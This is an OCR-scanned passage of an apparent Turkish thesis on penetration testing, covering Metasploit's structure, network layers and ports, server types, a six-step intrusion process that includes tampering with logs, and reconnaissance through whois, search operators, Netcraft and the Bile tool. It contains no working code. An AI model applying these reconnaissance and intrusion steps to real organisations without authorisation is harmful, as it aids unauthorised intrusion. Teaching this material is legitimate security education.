zarfa konulmasi pul ile etiketlenmesi gerekmektedir. Payload yeri burada mektuptur.
Veriden bahsedecek olursak veri génderimi sirasinda hangi kodun ne ile alakali oldugu
nereye aktarildigi gibi bilgiler yer almaktir, payload dedigimiz kisim bunlarin disinda
yani olan merkez bilgidir. Hedef gosterilen makinaya gonderilen kodlar gizli ajan gibi
gorev tlstlenmektedir. Ekran goriintiisii alabilir, uzak makinadan baglant1 saglar, ana

sayfanizda yazilar yazabilir bir nevi keylogger 6zelligi tasimaktadir(Dombili,2017).

Auxillary (Asistan): Sisteme girmeye calisirken port tarama kullanilmayan hesaplara

ulagmak i¢in kullanilan yardimci asistan olarak kullanilan araglardir.
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{ MODULES

Sekil 1. Metaexploitin genel mimarisi

3.1.2 Ag Terimleri

Ag sistemleri, bilgisayarin, yazicilarin, dosya ve bilgi ile servislerin paylasilmasi i¢in
olusturulan sebekedir. Birden fazla kullanicinin birbirleriyle bagl veri gonderimini ve
haberlesmesi donaniminin ve yaziliminin yonetimi ve paylasimini Saglar {izerinden
yapilmaktadir. Ag sistemleri olusturan donanimlarinin ve yazilimlarin belirli bir standart
icerisinde calisabilmesi ve sikinti oldugu zaman sorunun en hizli sekilde ¢oziilmesini
saglayan belirli katmanlar vardir. Bu katmanlari, fiziksel katman, veri hatti1 katmani, ag
katmani, iletim katmani, oturum katmani, sunum katmani ve son olarak uygulama

katmani olarak siniflandirabiliriz.

Fiziksel katman, yol topolojisinde sinyalin tagindigi katmandir. Veri link katmani ag igi
temel iletisimi saglayan katman olup switch iizerinde hangi MAC adresinin bulundugu

tespit ederek adres tespitinin yapildigi katmandir.

Ag katman: ise IP (internet protokol) ve ARP protokolleri ile g¢alismaktadir. Paket

ayarlama, filtreleme, en kisa veri iletimi ve yonlendirilme ag katmaninda yer alirlar.
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Transfer olayr veri iletimi katmaninda portlar araciligiyla gerceklesir. Tcp ve Udp

protokolleri araciligiyla ise bastan sona veri iletimini saglamak i¢in kullanilir.

Oturum katmani, agda uygulamanin haberlesmesini saglar. Uygulamalar arasindaki
linkleri kurar, ¢alistir ve yonetir. Oturumlar birden fazla sunum girdisini igerir. Oturum
katmani ayrica sunus katmani girdileri ve ¢iktilar1 senkronize eder ve bunlarin veri

degiskenlerini diizenler.

Sunul katmani, sifreleme ve 6zel dosya bigimlendirme islemlerini de yapar. Ekranlar1 ve
dosyalar1 programcilarin istedigi sekilde bigimlendirebilir. Kontrol kodlari, grafikler bu

katmanda bulunur.

Uygulama katmani, kullanicilara yakin olan katmandir. Diger katmanlar birbiri arasinda
servis saglamaktadir ama bu katmanda herhangi bir servis saglanamamaktadir.
Kullanilacak ve baglanilacak uygulamalar1 senkronize eder ve uygunlugunu
degerlendirir. Uygulama katmaninda ¢alisan bazi protokoller sunlardir; HTTP (Hiper
Metin Aktarim Protokolii) (80.port tcp), FTP (File Transfer Protocol - Dosya Transfer
Protokol) (20,21. port tcp), tftp (69.port udp), SNMP (Simple Network Menagemant
Protocol - Basit Ag Yonetim Protokolii) (161.port udp), DNS (Domain Name System -
(53 port udp), pop3 (110.port tcp), SMTP (Simple Mail Transfer Protokol - Basit Mail
Transfer Protokolii) (25.port tcp), SSH (Secure Shell - Gilivenli Kabuk Baglantisi)
(22.port tcp) uygulama katmanina 6nek olarak gosterilebilir(Bilgisayar Aglar1,2019).
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Sekil 2. OSI modeli ve tcp/ip modeli

3.1.3 Sunucu Modelleri ve Tanimi

Sunucu, bir ag iizerinden istemciler olarak bilinen bilgisayarlara kaynaklar, veriler,

hizmetler veya programlar saglayan bir bilgisayar veya sistemdir.

Teoride, bilgisayarlar kaynaklar1 istemci makinelerle paylastiginda, sunucu olarak kabul
edilirler. Web sunuculari, posta sunucular1 ve sanal sunucular dahil olmak iizere bircok
sunucu tiirii vardir. Bireysel bir sistem kaynaklar1 saglayabilir ve ayn1 anda baska bir
sistemden de kullanabilir. Bu, bir cihazin ayni anda hem sunucu hem de istemci
olabilecegi anlamina gelmektedir. ilk sunucularm bazilar1 ana bilgisayar veya mini
bilgisayarlar idi. Mini bilgisayarlar, ana bilgisayarlardan ¢ok daha kiigiiktii. Bununla
birlikte, teknoloji ilerledik¢e, masatistii bilgisayarlardan ¢ok daha biiyiik hale geldiler ve
bu da mikrobilgisayar terimini kaldirmis oldu. Teknoloji gelistik¢e, bir sunucunun tanimi
da onunla birlikte gelisti. Bugiinlerde sunucu, bir veya daha fazla fiziksel bilgi islem
aygitinda ¢alisan yazilimdan baska bir sey olmayabilir. Bu tiir sunucular genellikle sanal

sunucular olarak adlandirilir. Baslangicta, sanal sunucular, tek bir donanim sunucusunun
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yapabilecegi sunucu islevlerinin sayisini artirmak i¢in kullaniliyordu. Giinlimiizde sanal
sunucular, bulut bilisim adi verilen bir diizenlemede, internet iizerindeki donanim

tizerinde genellikle bir li¢iincii taraf tarafindan ¢alistirllmaktadir.

Hepsi farkli islevler gergeklestiren bircok sunucu tiirii vardir. Cogu ag, bir veya daha fazla

yaygin sunucu tirii igerir:

Dosya Sunuculari:

Dosya sunuculari, dosyalar1 depolar ve dagitir. Birden ¢ok istemci veya kullanici, bir
sunucuda depolanan dosyalar1 paylasabilir. Ayrica, dosyalarin merkezi olarak
depolanmasi, bir sistemde her cihazdaki dosyalar i¢in giivenlik ve biitiinliikk saglamaya
calismaktan daha kolay yedekleme veya hata toleransi ¢oziimleri sunar. Dosya sunucusu
donanimi, performansi artirmak i¢in okuma ve yazma hizlarini en iist diizeye ¢ikarmak

i¢in tasarlanabilir.

DNS Sunuculart:

DNS sunuculari, insanlar tarafindan kolayca anlasilan adlar1 makine tarafindan okunabilir
IP adreslerine doniistiirerek istemci bilgisayarlara ad ¢oziimlemesi saglayan uygulama

sunuculardir.

Posta Sunuculari:

Posta sunucular1 ¢ok yaygin bir uygulama sunucusu tilriidiir. Posta sunucular1 bir
kullaniciya gonderilen e-postalari alir ve s6z konusu kullanict adina bir istemei tarafindan
talep edilene kadar bunlari depolar. Bir e-posta sunucusuna sahip olmak, tek bir
makinenin her zaman uygun sekilde yapilandirilmasina ve aga baglanmasina izin verir.
Daha sonra, her istemci makinenin kendi e-posta alt sisteminin siirekli olarak galismasi

yerine mesaj gondermeye ve almaya hazirdir.

Web Sunucular:

Gilinlimiiz pazarinda en ¢ok bulunan sunucu tiirlerinden biri web sunucusudur. Web

sunucusu, internet veya intranet tizerinden kullanicilar tarafindan istenen programlari ve
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verileri barindiran 6zel bir tiir uygulama sunucusudur. Web sunuculari, web sayfalari
veya diger web tabanli hizmetler i¢in istemci bilgisayarlarda calisan tarayicilardan gelen
isteklere yanit verir. Yaygin web sunuculari arasinda Apache web sunuculari, Microsoft

Internet Information Services (IIS) sunucular1 ve Nginx sunucular1 bulunur.

Veri taban1 Sunuculart:

Gilintimiizde sirketler, kullanicilar ve diger hizmetler tarafindan kullanilan veri miktari
sasirtict noktalara ulasmis durumdadir. Bu verilerin ¢ogu veri tabanlarinda saklanir. Veri
tabanlarinin herhangi bir zamanda birden ¢ok istemci tarafindan erisilebilir olmasi gerekir
ve olaganiistii miktarda disk alan1 gerektirebilir. Bu ihtiyag¢larin her ikisi de, bu tiir veri
tabanlarinin sunucularda konumlandirilmasina katkida bulunur. Veri tabani sunuculari
veri tabani uygulamalarini ¢aligtirir ve istemcilerden gelen ¢ok sayida istege yanit verir.
Yaygin veri taban1 sunucusu uygulamalari arasinda Oracle, Microsoft SQL Server, DB2

ve Informix bulunur.

Sanal Sunucular:

Sanal sunucular, sunucu diinyasinin en gozdeleri haline gelmeye baglamistir. Makine
donanimina bir igletim sistemi olarak yiiklenen geleneksel sunucularin aksine, sanal
sunucular, yalnizca hiper yonetici adi verilen 6zel yazilim ig¢inde tanimlandigr sekilde
bulunur. Her bir hiper yonetici ayn1 anda yiizlerce, hatta binlerce sanal sunucuyu
calistirabilir. Hiper yonetici sanal donanimi sunucuya gercek bir fiziksel donanimmais gibi
sunar. Sanal sunucu, her zaman ki gibi sanal donanimi kullanir ve hiper yonetici, ger¢ek
hesaplama ve depolama ihtiyaglarini diger tiim sanal sunucular arasinda paylasilan alttaki

gercek donanima aktarir.

Proxy Sunuculart:

Bir proxy sunucusu, bir istemci ile bir sunucu arasinda aract gorevi goriir. Genellikle
istemcileri veya sunucular1 giivenlik amaciyla izole etmek i¢in kullanilir, bir proxy
sunucusu istegi istemciden alir. Istemciye yanit vermek yerine, istegi baska bir sunucuya

veya isleme iletir.
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FTP Sunucusu:

FTP Sunucusu, dosya transfer protokolii iizerinden cihazlar arasinda dosya aktarimi

yapmak i¢in kullanilan sunucudur. Yaygin olarak “dosya sunucusu” olarak da bilinirler.

Veri Taban1 Sunucusu:

MySQL veya MSSQL gibi 6zel veri tabani yazilimlarini kullanan sunucudur.

DHCP Sunucusu:

Otomatik IP dagitmaya yarayan sunucudur. UDP 67 ve UDP 68. portlar1 kullanir.

[letisim Sunucusu:

Mesafe s6z konusu olmadan anlik mesajlagsma gibi uygulamalar: i¢in aradaki iletisimi

saglayan sunuculardir.

3.2 Bilisim Sistemlerine Sizma Islemleri

Diinyada yer alan biitiin sistemlerde gerek toplumlar gerekse de bireyler tarafinda 6nemli
bilgiler yer almaktadir. Siber ortamlarda yer alan tehlikeye ac¢ik noktalar koti niyetli

saldirganlar tarafinda devlet ve kurumlarini hedef olarak gostermektedir.

Siber saldirilarda kullanilan bazi teknikler viriisler, truva atlari, phishing, spam, worms
gosterebiliriz. Sizma testleri yapacak kisi ister kotii niyetli olsun ister kontrol amagli olsun
oncelikle sistemdeki agikliklari tespit etmesi ve bu agikliklarin kullanabilmesi ayni
adimlar cercevesinde gergeklesmektedir. Kontrol amagh test ile kotii niyetli kisilerin
arasindaki farki birisinin sisteme zarar vermesidir. Digeri ise aciklar tespit edip zarar
gelecek noktalart kapatmasidir. Sizma testleri yapilirken standart uygulama noktalar1 ve
adimlar1 vardir. Bu adimlara 6rnek verecek olursak sistem konusunda bilgi toplamak,
saldir1 noktasiyla ilgili kesif yapmak, agikliklar1 tespit etmek ve bulmus oldugu agikliklari
istismar ederek sistemi ele gecirip zarar vermektedir. Bu kontrol mekanizmalari sizma

testlerinin temelini olusturmaktadir. Bu adimlardan bahsedecek olursak;

18



1.Adim: Saldirilacak nokta konusunda bilgi arastirilmasi; internet araciligiyla arama
motorlarindan, whois ve dns kayitlarindan, bir¢ok e posta gruplarindan gerekli bilgilerin

tedarikinin saglanmasi.

2.Adim: Kesif noktasi; servisleri ve portlari tarama islemlerini yapmak veri tabanlari

konusunda arastirma yapilmasi gibi adimlar yer almaktadir.

3.Adim: Agiklik tarama islemleri; herhangi bir sistem {izerinde agik tarama araglar

kullanilmasi veya elle kontrolle agikliklarin kontrol edilmesi ve tespit edilmesidir.

4.Adim: Tespit edilen agiklarin istismar edilmesi; 6rnek verecek olursak Sql veri tabani

olan bir sistemde SQL agig1 tespit edip bunu SQL injection uygulanmasi gibi.

5.Adim: Sistemin agiklarindan faydalanip ele gegirilmesi durumunda; Adminin elinden

yetkisinin alinmasi gibi.
6.Adim: Giinliik tutulan log dosyalarina zarar verme islemi bu adimda yer almaktadir.

Open Source Testing Methodolgy (OSTIMM), NIST Network Security Guide, OWASP
Guide (Open Web Application Security Project), Penetration Testing Framework gibi
ticretsiz sizma testi metodolojileri kullanilabilmektedir. Penetration testlerinde izlenen
yol Sekil 3’de ornek gosterilerek bu yasam dongilisiinden faydalanabilinir. Yasam
dongiisii temel alinarak yapilan Penetration testler sistem giivenligi agisindan fayda
saglayarak siirekli degisen saldir1 noktalarina gore testi glincel seviyelerinin iyilesmesini

saglamaktadir(Yigit,2014).
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SIZMAM TESTLERININ
YAPILMASI

S[ZMA TESTI DEGERLENDIRME
RAPORU

#YAPILMASI GEREKEMNLER»
KOMNTROL TESTLERI

YAPILMASI GEREKEMLERIN
BELIRLENMESI

ACIL EYLEM PLANLAMASI
ILERLEMESI DENETLEMMES]

ACIL EYLEM PLANI
OLUSTURULMASI

Sekil 3. Sizma testi yasam dongiisii

3.2.1 Saldirilacak Sistem i¢in Bilgi Toplanma Adimi

Bir hedefe basarili bir sekilde girmek isteniyorsa ilk hedef saldir1 diizenlenecek sistem
konusunda bilgi toplamaktir. Ornek olarak birgok ordudan bahsedecek olursak kesif
olaylarinda gorsel gozlem yoluyla diisman konusunda birgok tespit ve arastirma gorevi
yaparlar ve hakkinda biitiin bilgileri toplarlar. Bu da saldir1 yapilacak sistem yoniinden
fazla bilgi toplanmasi gerekliligi igin giizel bir 6rnektir. Iki gesit bilgi toplama yéntemi
vardir; bir tanesi pasif bir digeri de aktiftir. Pasif bilgi toplarken iz belirtmeden agik
kaynak iizerinden bilgi toplanir, aktif olarak ise direk sistem ile iletisim halinde bilgi
toplanir. Pasif bilgi toplamaya 6rnekler ve nasil toplanacagiyla ilgili internetteki birgok
acik servisler kullanilir. Hedef sistemdeki IP araligi, mail kayitlari, DNS kayitlar1 gibi
bilgilerin toplanmasi i¢in kullanilan yontem &rneklerindendir. Bu yontemleri kullanirken
saldirt yapacagimiz sisteme yonelik iz birakmadan agik aranabilir. Whois sorgusu
kullanarak hedef web sayfasinin nereden alindigini mail adresini hangi tarihe kadar
kullanimi oldugu hangi maille alindigmi biitin bilgileri ¢ekebiliriz. Bu sorgulari

yapabilmek icin birgok web sitesi kullanilmaktadir. Buna 6rnek olarak bu siteden
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https://www.isimtescil.net/whois bilgi ¢ekebiliriz. Port ve hangi servisleri kullandigina

ait bircok web sayfasi olup bu gibi web sayfalari kullanilarak bilgileri temin edebiliriz.

3.2.1.1 Kesif i¢in metodoloji

Yiiksek diizey kesifler bes asamaya ayrilabilir.

Tablo 1. Bes kesif asamasi

ASAMA AMACLAR OUTPUT ARACLAR
Istihbarat Toplama Hedef hakkinda is, Sirket isimleri -Arama Motorlari
orgiitsel yapist ve is | listeleme ve hangi -Finansal Veri
ortaklartyla ilgi amaglar Tabani
bilgiler. dogrultusunda -Is raporlar
caligtiklar1 ve DNS -WHOIS
isimleri -RWHOIS
-Domain isimi ve
kayitlari
-Web Arsivi
-Data Mining
Araglari
FootPrinting Birgok DNS host Dns host isimleri,IP -DNS
isimleri tespiti ve IP | adresleri ve IP -WHOIS
adresleri ve IP araliklari -DIG
araliklar -SMTP
-Data Mining
Aragclari
Insani Arastirma Isim listeleri, is -Arama Motorlar1
Asamasi unvanlari, iletigim -Mail listleri ve
bilgileri Web Site Postlari

-Sosyal medya
servisleri
-Kamuya agik
kayitlar
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Dogrulama Toplanan bilgileri Bu asamada yeni -DNS

dogrulama bilgiler bulunur, -WHOIS
gegersiz veriler -DIG
kaldirilir.

Vitality Onceden Onaylanan IP -PING
tanimlanmig [P adreslerinin listeleri. | -Port Scanners
adresleri -Mapping tools
Onaylanmasi ve
ulasabilirligi

3.2.2 Istihbarat Toplama

Bu agamanin dnemli noktas1t DNS adlarinin bir listesinin yan1 sira hedefimiz ve is birligi
yaptig1 sistemlerinin baglantilarinin oldugunu gdsteren bir sema olusturulmalidir. Ne
kadar arastirsak ta toplanan bilgilerinin tam olarak ne kadar alakali oldugunu belirlemek
kimi zaman zor olabilir. Bu nedenle topladigimiz verilere iliskin analizinize ve
topladigimiz verilerin gergekten alakali olup olmadigini tespiti kimi zaman
icglidiilerimize bagli olabilir. Kullanacagimiz yontem ve araglari belirtmeden 6nce
kullanacagimiz temel teknolojileri iyi anlamak gerekmektedir. ilk basta arama motorlar
aracilifiyla ¢ikarilan veriler olan birincil bilgi kaynagimiza odaklanacagiz. Hedef
sistemimizin biiyiik miktarda bilgi halka ac¢ik sekildedir ve onu nasil diizgiin

arayacagimizi bilmeliyiz.

3.2.2.1 Arama motorlari

Arama motorlar1, bir hedef hakkinda olabildigince ¢ok bilgi edinmenin anahtaridir.
Gelismis arama motorlari olmadan hedefle ilgi Oonemli bilgileri bulmak neredeyse
imkansiz olacaktir. Arama motorlar1 sonuglarin ayrigtirllmasi bilgilerin aranmasi ve
alinmast i¢in ayrilmis bir sistemdir. iki tiir arama motoru vardir. Bunlar tarayici tabanl
arama motoru ve insan tabanli arama motoru olarak belirtebiliriz. iki arama motoru da
bilgileri farkli yolla toplamaktadir. Gilinimiiz webdeki ¢ogu arama sitesi, listeleri
olustururken her iki yontemi de uygulamaktadir. Tarayici tabanli arama motorlarindan
bahsedecek olursak webde otomatik olarak gezinmek igin tarayict veya oriimcekler
kullanilir. Oriimcekler web sayfasimi okuyarak, onlar1 dizinlere ekleyecektir. Biiyiik

Arama motorlarin aktif olarak kullanildig1 ii¢ 6riimcek Yahoo’dan Slurp, Bing’den

22



MSNBOT ve Google’dan Google Bot’dur. Bir Oriimcegin sayfalar1 aktif olarak
“taramasindan” dnce, dizine zaten eklenmis olan URL’lerin bir listesini okumasi gerekir.
Bu URL listesi "¢ekirdek" veri olarak kabul edilir ve 6riimcek i¢in bir baglangi¢ noktasi
olarak kullanilir. Oriimcek sayfalar arasinda gezinirken tiim kodu inceler ve tiim bilgileri
kendi dizinine geri dondiiriir. Oriimcek ayrica dizinine bulabilecegi yeni baglantilar ve

sayfalar ekleyecek ve izleyecektir.

Oriimcekler, herhangi bir icerik degisikligi olup olmadigmni kontrol etmek icin periyodik
olarak web sitelerine doneceklerdir. Googlebot gibi bazi driimecekler, bir sitenin tipik
olarak ne siklikta degistigini tespit edebilir ve ziyaretlerinin sikligin1 uygun sekilde

ayarlayabilmektedir.

Insan tabanli arama motorlari, dzellikle insan girdisine dayanir. Insanlar, tiim web sitesi
icin dizine kisa bir agiklama gonderir. Bir arama sonucu, insanlar tarafindan gonderilen
aciklamalara gore eslesmeleri dondiiriir. Web sitelerinin ~ degistirilmesi  ve
giincellenmesinin listeleme {izerinde hicbir etkisi yoktur. Ornegin Yahoo driimcegine ek
olarak insan tarafindan desteklenen bir dizinden yararlanir. Bu veri toplama yontemi, web
sitelerinin yanlig agiklamalari, anahtar kelimelerin yanlis yazilmasi ve atlanan bilgiler

dahil olmak tizere hatalara egilimlidir.

3.2.2.2 Hedefe yaklasim

Toplanan bilgiler ile kesif asamasi yonetilebilir; pargalari birlestirme konusunda bir dizi
alt asamaya bakacagiz bunlar: Yapay =zeka, link analizi, alan adi genisletme.
Hedefledigimiz kurulusun yapisini, cografi yayilimini, riinlerini, i iligkilerini vb.
anlamaya calismak. Bu aslinda web'i birincil olarak kullanan eski usul bir arastirma
egzersizidir. Hedefin web sitesini ziyaret edeceksiniz, hedefi arama motorlarinda
arayacaksiniz, hedefin haberlerini, basin biiltenlerini ve yillik raporlarin1 okuyarak ve

disaridan sorgulayarak hedef hakkinda bilgi i¢in veri tabanlarim kullanacaksiniz.

Bu asamada kati kurallar yoktur ve her farkli kaynagin degeri hedeften hedefe ve
sektorden sektore degisiklik gosterecektir. Buna basit bir 6rnegi, medya sirketi News
Corporation'dir. News Corporation, ¢cok sayida ilgili sirket ve markaya sahiptir. News
Corporation'da kesif yapmak icin bunlardan bazilarinin neler oldugunu 6grenmek

istersek, isimlerini bir arama motoruna ekleyebiliriz. News Corporation MySpace’in

23



sahibidir. Bu alakasiz bir bilgi olabilir ancak daha derin arastirdik¢a faydali olabilir. Kim
bilir, belki de News Corporation'nm kurumsal altyapisina tagman orijinal MySpace
altyapisindan bazi giivenlik acig1 olan sistemler vardir. Bunu aklimizda tutarak, yan
kuruluslarin potansiyel ilgisi nedeniyle, hedefimiz arttk MySpace’in yani sira News
Corporation’in web sayfasinda listelenen diger tiim varliklar1 da igerebilir. Bu yan
kuruluslarla ilgili ek DNS adlar1 ve ayrintilar daha sonra ek aramalarla toplanabilir. Daha
fazla sirket ve alan adlan belirleyerek, ihtiyacimiz olan bilgiye sahip olana kadar bu

stirecte tekrar etmeye devam ederiz.

Link analizi, zaman kazanmak i¢in internette gezinmeyi otomatiklestirmenin bir yoludur.
Bir web sitesine (www.fake-inc.com) sahip herhangi bir DNS etki alan1 géz Oniine
alindiginda, webdeki bu siteye gelen ve bu siteden gelen tiim HTTP baglantilarini
numaralandirmak icin web 6riimceklerini ve arama motorlarini kullamiriz. Tlk siteyle, bu
siteden bir baglanti iligkisi olusturur ve en belirgin adres iligkisi analizi genellikle farkli
alan adlarina sahip kuruluslar arasindaki gergek iliskileri hakkinda bilgiler ortaya ¢ikarir.
Bu konudaki ¢aligmalarin yan1 sira analizleri otomatiklestirmeye yardimci olan bir veya
iki iicretsiz ara¢ da webde mevcuttur. Bu araclar tipik olarak, hangi web sitelerinin hedef
site ile en gii¢lii "baglantiya" sahip oldugunu belirlemek icin bir cesit istatistiksel tartim
algoritmasi kullanir. Sebep, acik ki, web tizerindeki iki site arasinda giiclii bir iliski varsa,

diinyadaki bu iki kurulus arasinda gii¢lii bir bag olabilecegidir.

Alan ad1 genisletmeye yonelik daha iy1 bir ¢calisma yapan, muhtemelen yillar boyunca
Internet iizerindeki farkli web sunucularinin istatistiksel profilini ¢ikarmastyla bilinen
Ingiliz ISP www.netcraft.com’dan edinilebilir. Netcraft, gesitli iliskiler araciligiyla,
sitesinde aranabilir bir web ara yiizii araciligiyla (SearchDNS’e tiklayin) kamuya agik
hale getirdigi 6nemli bir DNS ana bilgisayar adlar listesi olusturmustur. Bu ara yiiz, Sekil
5’te gosterildigi gibi joker karakter aramalarina da izin verir. En sevdiginiz arama
motoruyla bir sorgu yoluyla bulabileceginiz benzer hizmetler sunan birka¢ baska web

sitesi vardir(Faircloth,2011).
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Sekil 4. Netcraft joker dns sorgusu

3.2.2.3 Acik kaynak araclar1

Siber giivenlik alaninda agik kaynak araglar1 denildiginde arsivler, siber saldirilara uygun
giivenlik agikliklart diye de tanimlayabiliriz. Ac¢ik kaynak araglart lisansli olarak

indirilebildigi gibi ayrica {icretsiz olarakta sunulmaktadir.

Daha once belirtildigi gibi, arama motorlar1 internette hemen hemen her seyi bulmamizi
saglar. S1zma testi uzmanlar1 arasinda muhtemelen en popiiler arama motoru olan Google,
basitge bir anahtar kelime veya kelime Obegi saglayarak temel aramalar yapmak icin
kullanilabilir. Kesif asamasinda bu 6zellikle ¢ok dnemlidir. Google'in sahip oldugu ¢esitli
islevsellik tiirleri belirli anahtarlara belirli bir web sitesi, dosya tiirli veya anahtar
kelimeyle ilgili belirli bilgilere odaklanmak iizere arama sorgularimizi gelistirmek i¢in
kullanabilecegimiz yonergeler bulunmaktadir. Google'in bir listesi vardir ve belirli
bilgilere odaklanmamiza yardimci olmasi i¢in arama sorgularinda kullanabilecegimiz

temel yonergelerle birlikte agiklar: bulmamizi saglamaktadir.

Aramanizi belirli bir site veya etki alaniyla sinirlamak i¢in site yonergesini kullanirsiniz.
Syngress web sitesinden sonucglar1 dondiirerek, siteyi kullanabilirsiniz. Bu, Google'n
senkronizasyondan indekslendigi tiim sayfalar1 dondiirtir. Belirli bilgi sayfalarini1 aramak

i¢in, arama sorgusuna anahtar sézciikler ekleyebilirsiniz.

Bir diger arama yonergesi de sudur, yalnizca belirli bir sonuca sahip sonuglar1 dondiirmek
icin kullandigimiz dosya tiirler1 vardir. Bunu yapmak icin, Google arama kutusuna
yalnizca PDF dosya uzantisina sahip sonuglari dondiiren filetype: pdf yazarak saglarsiniz.

HTML tabanl verilere kiyasla belirli dosyalarda ¢ok daha fazla bilgi bulunma kolayligi
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oldugundan, s1zma testi icin kolaylik olabilecek direktiflerden biridir. Ornegin, filetype:
xls i¢in bir arama yapmak, diger arama kistaslariniz ile eslesen elektronik tablolarin bir
listesini saglayacaktir. Cogu zaman bu tablo bigiminde saklanan kisi listelerini veya diger
yararli bilgileri bulmamiza yardimci olacaktir. Google oriimcekleri web’i taradiginda,
Google her ziyaret edileni anlik kaydetmektedir. Anlik kayitlar daha sonra Google
havuzuna yedeklenir ve dnbellege alinir. Google tarafindan dondiiriilen sorgulardan elde
edilen sonuglarin yaninda baglantilar olarak goriintiilenir. Onbellege alinmis sayfalarin
gorlintiillenmesi, diger alanlarla ilgili eski bilgileri ortaya c¢ikarabilir. Heniiz dizine
eklenmemis sitelerin Onbellege alinmis baglantilar1 olmayacaktir. Ayni  durum,
iceriklerinin dnbellege alinmamasini isteyen yoneticiler tarafindan yonetilen siteler igin

de gecerlidir.

Netcraft’tan bahsedecek olursak sunucu siirelerini izleyen ve sunucu isletim sistemini
algilanmasi saglayan internet izleme sirketidir. Netcraft, kullanicilarin ana bilgisayar
bilgileri i¢in veri tabanlarin1 sorgulamalarina olanak taniyan ¢evrimigi bir arama aracina
sahiptir. Cevrimigi arama araci, joker karakter aramalarina izin verir, yani bir kullanict *
elsevier * girebilir ve dondiiriilen sonuglar, i¢inde elsevier sdzciigiinii igeren tim etki
alanlarin1 goriintliler. Sonuglar www.elsevier.com ve www.elsevierdirect.com’lari
dondiirebilir, dolayisiyla bilinen alan adlari listemizi genisletmis oluyoruz. Bu adim1 daha
ileri gotiirmek igin, bir kullamic1 “Site Raporu” baglantisin1 segebilir ve bu baglanti

asagidaki gibi degerli bilgiler dondiiriir:
IP Adresi,

Server Isimleri

Ters DNS

Netblock Yonetimi

Dns Admin,

Alan Kaydi
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Search Web by Domain

Results for *elsevier*

Site Site Report First seen Netblock os

Internet Expioraton

EREEEEDRORDRDEEDEDEDDD

Sekil 5. www.netcraft.com adresinde bir Wildcard Sorgusunun Sonuglari.

Bile Yazilim paketi, iicretsiz bir Perl arag setidir. Bile ¢esitli web siteleri arasinda agik
olmayan iliskileri bulmak i¢in footprinting isleminde kullanilan agik kaynakli yazilim
araglarindan biridir. “Agik olmayan” bir baglantiy1 s6yle tanimlayabiliriz: Sirketlerin web
siteleriyle birbirlerine baglanma bigimlerini inceleyerek, gercek ortamda birbirleriyle
olan iligkilerinden bir seyler 6grenebiliriz. A / B'den gelen bir baglanti, A'nin B hakkinda
bir seyler bildigini soyliiyor. B / A'dan gelen bir baglanti, A'nin B'den bir seyler
bilebilecegini ve hatta A / C / B'den gelen bir baglant1 bile A ve B'nin birbiri arasinda bir
baglant1 oldugunu gosterebilir ve web siteleri arasindaki bu baglantilari siralayarak ve
analiz ederek, sikintisiz bir sekilde iliskileri kesfederiz. Veri toplama siirecinde Bile tiim
baglantilar1 ¢ikararak HTTrack aracimi kullanarak kopyalama tamamlariz. Ardindan
Google’1 arama yaparak belirtilen hedef siteye baglanan sitelerin listesini alabiliriz ve
listesindeki tiim sitelerde ayni islevi gerceklestirmeye devam eder. Bile aracinin ¢iktisi

bir metin dosyasini seklinde alabiliriz.
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Eyngress.com:142.377681841968
syngress.dreamhosters.com: 135. 797619047619
wWww.Syngress.com: 109. 62938252224

www . techsec.com: 79. 6838524883638
www.syngresscertification.com:66.6462585034014
twitter.com:39.421947726459
elsevier.com:37.7891156462585
ajax.googleapis.com:32.5034013605442

www . thetrainingco.com:29. 4763212977499

www . rsaconference.com:27.156462585034
taosecurity.blogspot.com:22.8707482993197

www . twitter.com:21.5136054421769

www . humanfactorsinsecurity.com:21. 3605442176871
mail.elsevier-alerts.com:21.3605442176871
hfis.sparks.co.uk:21.3605442176871
search.twitter.com:21. 156462585034

www. linkedin.com:21.0409953455066

www . facebook.com:20.2891156462585
www.1nfosec.co.uk:19.9319727891156
www.elsevierdirect.com:19.9319727891156
vicon-sub.halldata.com:19.9319727891156
radiantcms.org:19.9319727891156
edge.halldata.com: 14.2857142857143
"syngress.mine.sorted" 252 lines, 9020 characters

Sekil 6. File output

3.2.3 Footprinting

Footprinting olusturma asamasinin amaci, 6nceki asamada toplanan etki alanlarindan
olabildigince IP / ana bilgisayar adi eslemesi tiiretmektir. Bir kurulusun makineleri
genellikle birbirine yakindir, eger bir IP adresi bulunursa, geri kalanini nerede
arayacagimiz konusunda iyi bir fikrimiz oldugu anlamina gelir. Bu nedenle, bu agama
icin c¢iktimiz aslinda IP araliklari olabilir (ve yalnmizca bireysel IP'ler olmasi
gerekmemektedir). Kesfin olusturma asamasinda, DNS, WHOIS, RWHOIS ve SMTP
teknolojilerine 6nemli islemlere sahiptir. Bu teknolojilerin her biri, hedefimizin genel
ayak izi hakkinda daha fazla bilgi toplamak i¢in kullanilabilir ve bu teknolojilerimizi

olusturmamiza yardimei olabilir.

3.2.3.1 DNS

Alan Ad1 Sistemi (DNS), giiniimiizde internetin yasami ve kani olarak kabul edilebilir.
Insanlarin DNS adlarimi hatirlamalari, web sitelerinin tam IP adreslerinden cok daha
kolaydir. DNS adlarini IP adreslerine ¢oziimlemek i¢in veya bunun tersi i¢in kullanilan
DNS, server bilgilerinin bir veritabani olarak goriilebilir. DNS, web tarayicilari, e-posta
vb. gibi tiim internet ¢alisma uygulamalar tarafindan yaygin olarak kullanilmaktadir.
DNS, bizim tarafimizdan alan adlar1 olarak bilinen hiyerarsik bir adlandirma semasinda

diizenlenmistir. Yukaridan asagiya bir yontemle ¢alisir, burada bir sorgu DNS agacinin
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en Ustlinde baglar ve bir u¢ noktaya dogru yol alir. Bu hiyerarsinin en tistiinde (“kok”

olarak adlandirilir) kék sunucular bulunur.

Tablo 2. Dns kayait tiirleri

Dns Kayit Tiirleri | Aciklamalar

A Bir bilgisayar adinin bir IP adresine ¢evrilmesine izin veren bir adres
kaydidir.
IP adresinin bulunmasi i¢in her bilgisayarin bu kayda sahip olmasi
gerekir.

MX Mail sunucu kaydi

NS Alan ad1 isim kayd1

CNAME Ek adlarin ve takma adalarin kullanilmasina izin veren kanonik adi

bulmak icin kullanilir

SOA Domain i¢in yetkiyi gosterir

SRV Servis yer kayidi

RP Sorumlu kisi kayidi

PTR Genellikle geri aramalarda kullanilir

TXT Dns ilgi bilgi verir.

HINFO Host bilgi kaydi, islemeci tipi ve isletim sistemiyle alakal bilgi verir
3.2.3.2 WHOIS

WHOIS, bir alan adi, IP ag1 veya Otonom Sistem Numarasi (ASN) sahibinin belirlenmesi
icin bir veri tabanina sorgu gondermeye yonelik bir protokoldiir. WHOIS tarafindan
